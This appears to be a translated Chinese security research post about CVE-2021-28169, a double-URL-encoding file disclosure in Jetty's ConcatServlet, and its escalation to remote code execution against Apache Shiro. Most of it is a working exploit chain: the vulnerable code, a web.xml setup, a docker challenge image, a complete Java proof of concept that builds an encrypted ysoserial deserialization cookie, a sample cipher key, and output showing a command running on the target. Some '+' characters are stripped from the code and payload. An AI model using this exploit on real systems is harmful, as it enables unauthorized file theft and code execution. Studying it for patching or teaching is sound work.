此漏洞已修补为CVE-2021-28169,在某些环境下,它可能导致特权/访问权限提升甚至远程代码执行!
顺便说一句 - 如果您没有在 2021 年 7 月上课,请不要担心,我们将在今年晚些时候开设另一堂课。
事实证明,该jetty-servlets
库在org.eclipse.jetty.servlets.ConcatServlet
servlet 中包含一个漏洞。如果暴露,这可能允许攻击者泄露敏感文件。
Jetty Utility Servlets ConcatServlet 双重解码信息泄露漏洞
在doGet
方法内部,我们看到以下代码:
/* */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* 88 */ String query = request.getQueryString();
/* */ ...
/* 95 */ List<RequestDispatcher> dispatchers = new ArrayList<RequestDispatcher>();
/* 96 */ String[] parts = query.split("\&");
/* 97 */ String type = null;
/* 98 */ for (String part : parts) {
/* */
/* 100 */ String path = URIUtil.canonicalPath(URIUtil.decodePath(part)); // 1
/* */ ...
/* 108 */ if (startsWith(path, "/WEB-INF/") || startsWith(path, "/META-INF/")) { // 2
/* */
/* 110 */ response.sendError(404);
/* */
/* */ return;
/* */ }
/* */ ...
/* 128 */ RequestDispatcher dispatcher = getServletContext().getRequestDispatcher(path); // 3
/* 129 */ if (dispatcher != null) {
/* 130 */ dispatchers.add(dispatcher);
/* */ }
/* */ }
/* 133 */ if (type != null) {
/* 134 */ response.setContentType(type);
/* */ }
/* 136 */ for (RequestDispatcher dispatcher : dispatchers)
/* */ {
/* 138 */ dispatcher.include(request, response); // 4
/* */ }
/* */ }
在[1]处,代码会进行 url 解码,然后尝试规范化攻击者提供的路径。然后在[2]处检查该路径是否以“/WEB-INF/”或“/META-INF/”开头。稍后在[3]触发,最后RequestDispatcher
在[4]include
触发。
问题是可以绕过[2]处的检查,因为它RequestDispatcher
还将处理 url 解码。因此,攻击者可以在其受控路径中对遍历或WEB-INF
/META-INF
字符串进行双重 url 编码。这将实例化一个有效的调度程序,并从 Web 应用程序的根目录泄漏攻击者控制的文件的内容。
影响
该漏洞仅限于 Web 应用程序 ROOT 目录中的文件泄露。但是,在某些情况下,这可能允许攻击者进一步升级。让我们用两个例子:
- Spring - 特权/访问权限的提升
在这种环境下,可能会从application.properties
文件中泄漏敏感属性,例如 spring.datasource.url、spring.elasticsearch.rest.password、spring.h2.console.settings.web-admin-password、spring.influx.password、 spring.ldap.password 等
- Apache Shiro - 远程代码执行
在这种环境下,可能会泄漏包含securityManager.rememberMeManager.cipherKey
. 此密钥可用于通过rememberMe
cookie 中的反序列化来获取针对应用程序的远程代码执行。
概念证明
如果您在自己的 Web 应用程序上进行测试,请修改您的web.xml
以包含易受攻击的 servlet:
<servlet>
<servlet-name>Concat</servlet-name>
<servlet-class>org.eclipse.jetty.servlets.ConcatServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Concat</servlet-name>
<url-pattern>/concat</url-pattern>
</servlet-mapping>
或者,您可以在挑战图像上对其进行测试:
代码语言:javascript复制docker run --name fswa -it --rm -p 80:8080 registry.gitlab.com/source-incite/fswa-challenge/rceme:2021
现在我们可以利用漏洞泄露密钥:
对不起,我忽略了shiro.ini
文件中的所有用户名和密码!事实证明,Apache Shiro 在其类路径中使用commons-collections
v3.2.2 和commons-beanutils
v1.9.4。这足以让我们从ysoserial生成一个小工具链。
将其包裹在加密层中,我们可以实现远程代码执行:
代码语言:javascript复制researcher@incite:~$ java Poc
( ) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>
researcher@incite:~$ java Poc kPH bIxk5D2deZiIxcaaaA== "touch /tmp/pwn"
( ) using key kPH bIxk5D2deZiIxcaaaA==
( ) rememberMe=PN8ZQYXmwp pLGv7BUqA8WmmnB0xFk420NKLjaUcTWgpmIabZ3LoC8zb2NA1xf4URUZptPD6x/7pzl8WkmjD7DWSTLbLQH9Wqr6hxedjgQris4K6R3HMWuZfAdKWgrV0uomhfqJiA8KpsJvjqWP3p/NcBoeyzHQcG8KxoNBk1slT2Vj78GqL5Uu1DLJrCyo2IgS0UE1A5NgvW8i5FDvSDehFMR9gub83yZtuKU/ia/yehchHv2T7nmhskrzKU5hwyfkERcs0re8MQUVHqzQt C6cHs119DBIJxnKGmednYxnUe9S2ewGvHZd6j/7Yh92ootlz34dcayQnhO/eCi/gUOqoOuawijywH0quakUqNqldKctYC7JaJTtkma0fKoHhxvKZwqSjAA1miSjjzOxUtz BdM6byZMrgLkTdySMz piJYvrcjmR4saXsMhkgOmnUITahvpftRcm46 DrJh8fd5p1lVcjc8p/ysfjSIgODau6be6QlxjX9A5DiTt0jFeWSFhNl0oQYWExT7CLPHid xVoALso8OHVgw0vQVZ1Nle5z1QyidP86u0N8HQRWyILGazY8yOrdfp0fK1gAifN2p1 0gXLp6M/6fIInEKXi53dP64UmcGkVUvvNEIeQ62J35F0KbW2r2vgSkJufd97mtoP4g2zqSsbzkn2z9BcNbs6K3CU8a7P88bmhFgfooixh2FvLpPE2xP3ZyUYxMHTTDHFIXqYYtwLVkf1Z/vQN5QqaqALtILJr7igMW98CwqM/Os1tqO pVFRMWKxM43lnMAvbIo/3MwDCDVRXbU8XzG7vTWdWGztsMPX/psZtgCe62ZS1OTUT/BRY5XA NZGOu1M2OdhThc5o K58K/mMSTZgjaTXeT3CuPTgrpOE9FPgrhPdQXnSZfJBx3Pv EFOa7Rp1HsPx0Zir71HR0kmqal56QQ6uYe02iq6 I798Q9ESJwn0XpzE4JSek5uFUF031n9Ieo4DaR4jRz3vLMSP1lS81ZgkIkP0fATMPP5vuipr5 BwynxaoeeGdPBKk8VzupBP qahtiYJ4f8icsOHtG2/U2ka54zfjpnuTJ3K4gXA0RPZz8WOodNsDOtMMNXzsaLQg6Z1L1fcwawCAkqTCmqkTgBEpF13OemZFkS35LlriDT0XGoGq90oIvAOASBifgqy4mReSwEFmap12ECeemN58gaFyylMPcgLfIqOFZbIYqCvpbvgihVMBh7K2KJUFVU1gfpCfydxtJQAMfjCJ agNYDvNM93JIkVctOw0YoPGU0Znv6Tu8g8flh8F/SRZ9gy8jTZ1o8m9PgqPsk4PlT0/anB0lY5WFf04oHK1FpS72DKegAaG/zA6UcBO7MI9SgGxm4Dv8vDHUvf5LTwoqxmD2pdnUGQFRtJxwOKEZyUUNdU4yNGg1FBQb2hkxVl/UfMvjjALfSEfkL9AaLWkf//8xqqWLsrij/8 8hH4qayr9UfEZSHLgfLtp2lk/l195ra0zCVfjocTljcnQx452qEDdJRHmujFPXb/auPW7mhCI1xiNldlIrGcrrjqkF/o9Y8w4Qpn32FMldn97Tw3Xn6Gy5eBDf6suAiCrPtv9fNEnFx ybES8OKLUoe5lMxXPkSW8CxkbcbS8NcWxQOMmL2a8R1o9C589djLMYi31QQbRyQ9m/4g2 tFTy31S/79dwVo7J6GIKBtd3a4SvhK36rEOr13yAvaI995Z3w5Xs2yTeJIm1F649fRI/kIK9DXH5sUNodrukxuOPbc9y3a79uwYMYUR76iH5H5SvvblnAbu0bAByJHpGm0e UtR0gGYle jgRqYCXgzk1/AGqdvgj788UqJDgWF2/SCCaHVekhfbfUkcRAV5qMc/y8OAML8s5 O5/6PcrQ0k/8i5lQ/TBYMZ0mHl7AR38fgSP0Bh7L 20NK49 gaqTXBtJ2Jdhhy pTz6OolV8w43pCiXoRNPc H2Da3DL7gG/4dDedIM qDeN37Yy1VpR8qUmwlYYiV2 bohxBFG5gwTMn4v6dLVOrPI h62qhGdOfWacf2fBsD/KXnLV08eirWdrtT7D7aw11C4gp1Qq4RqiemgV /iiwLW F0jvMwXD2/zvv ukVE2Su9NORFFQqSTFsJCvXujXziRQ511i5wHq K5qnFQ 2MPZeilpw ak/HYD38PAuxxb42TUR8FrqfTFlL7HGuWxYSg8TRjaLGzMZdh4CNxiGBlaet2k9HtlEWcEhnn/Fs9FUOvIGqcgf2QvdFQH9AwAVqvS92T1uVx87OzbfZTjqb7FOphQxA7qjVKFHxmY0XOEydfpvbu42d9RGxDws09JN2Co0bKS2wKOpq421ItY6N3BP5TfeSqwwbBKp9I1F6fslZv8TJBNMJ6yqd49 D RoWoJ0a4OByIsLs49WBTJdKk4Axm1QaM3PZKvv1qSwxUGaqkP2ygWkUe7butcM4Snxkr1gStNe5FBcMOR955lLO qLyDxeszidJ10b4YkGYga76Y0ddW5M6Xg7kBvXVhmmrBxPhf/fvo3HeWFTSM45vWdGTVQMeKtolOtiDXf8Mif08Dd/HDd8GX6XYd9fh47s708P/8 1j6wVUuN2wu52c1OqihXYh8tzOq/ eb2V naw6LM1wKvo0ZS/cpC61Ga Qi6xpGD6mTfYXcMdfOSm0XKrazlbqmDZeliZKFudH7g5d8IYyeZsWnGxnOwEg74jC4oG9m5vqXqnLM4 /0RI8uLobqbHMxSxw5Q/ty5OJYCwnWy3SlvVtYWsUGa6PAK45 hxDx7Gooj8WNBfu cN2aW7iO/yU0JPB8DnUPl7WdzzSb2Bge5MQfn5Xg7fGnz95szAAOCHByK2ZwGR RlZZh/rbS9OTQIilP2qNKyST93vhthf99K HXRGIP91ULw8Y4CJNtlveCEoSjpeKdno66AbbXYGQXsSLdhkc/DBPq/FD5bnrAAl8V1WG2XISCuRwrFbUky0QdlZSv9CbgTfIDOxyrzseD8Jx00iazjINq5c5u3v BRDJ7HyQGR4e71E1 qz0M/7u/scoORwfc3z6GnQeN4WgLquf7FGXEPeMr/8CVk8cMspqgLZgq z7uwHnhGOrnX6S4lh09jB9Qoz8lImjA1VXYOz92At3xc7KzangPzFF5hs3QnVzbxoXATFhRt3Y0XLsR9Sl3g63h153vG JRcEDDTqWT632KKviPLQASvVDM4gbDxaEckXUQ3ZbeTYlIbeAhOcM9OZxEqW3x24OEbQU82OeKYf/xf08uwVbfhbC7yB/V/EBArWjSz5sxnRMsVZ2GDv51s7FxLmMNx0ALQvus6iKGbCNrM7Km9/ptP2K 4gLkWY44ncPaiZV1ts9Ka3ruAHB3lnKubs4I1IAQ0ybHY/H8LvXhf15Hp0AXvwH Y6ykau9meIEfyg/O6IWXHudPsHlx9OCqV0jmfRW/neAEr/JS8NiAB4yp6HWN90amwe6LAYFhZWZSGPsyKslJOly6CpDWgcCtmoCiHKEqNH IP8PqrJnp7SXtXoq4J8dUmjGx7wnUXdt1QbuDJnsojjPY1FKANfH2US8T/1ameUuUsU951GNEEc0hAvpvnaCcgrTsDPjwlnNCEpvHWEZ8wo//D/4i2TplpYminV9Ss3oxGGdmVnqSK9PaEQt6w8dvpxxxN0p6irOLJ3B5GKlg/cT b1 B/AmqBjJGxBWMhRKDd4dFQ3tKRtI0syHKTIKfkU/jc Ki8TantKk=
现在,我们将 cookie 发送到针对任何端点的服务器:
完毕!
代码语言:javascript复制student@target:~$ docker exec -it fswa stat /tmp/pwn
stat: cannot stat '/tmp/pwn': No such file or directory
student@target:~$ docker exec -it fswa stat /tmp/pwn
File: /tmp/pwn
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 33h/51d Inode: 1452414 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 999/ jetty) Gid: ( 999/ jetty)
Access: 2021-04-29 18:33:26.410256760 0000
Modify: 2021-04-29 18:33:26.410256760 0000
Change: 2021-04-29 18:33:26.410256760 0000
Birth: -
…当然,Poc.java
这主要是复制了 从 Apache Shiro 借来的:
package shiro;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import org.apache.shiro.crypto.cipher.*;
import org.apache.shiro.lang.util.ByteSource;
public class Poc {
public static void main(String[] args) throws Exception {
if(args.length != 2){
System.out.println("( ) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>");
System.exit(0);
}
// Timo's idea to recycle shiro libs
AesCipherService aesservice = new AesCipherService();
aesservice.setModeName("GCM");
aesservice.setPaddingSchemeName("NoPadding");
aesservice.setStreamingPaddingSchemeName("NoPadding");
CipherService cipherService = aesservice;
String key = args[0];
String cmd = args[1];
System.out.println("( ) using key " key);
byte[] fdata = null;
// commons-collections 3.2.2 & commons-beanutils 1.9.4
Object payloadObject = Utils.makePayloadObject("CommonsBeanutils1", cmd);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(payloadObject);
out.flush();
fdata = bos.toByteArray();
} finally {
try {
bos.close();
} catch (IOException ex) {}
}
System.out.println("( ) rememberMe="
new String(
Base64.getEncoder().encode(
cipherService.encrypt(
fdata, Base64.getDecoder().decode(key)
).getBytes()
)
)
);
}
}
参考
- https://docs.spring.io/spring-boot/docs/current/reference/html/appendix-application-properties.html
- https://shiro.apache.org/configuration.html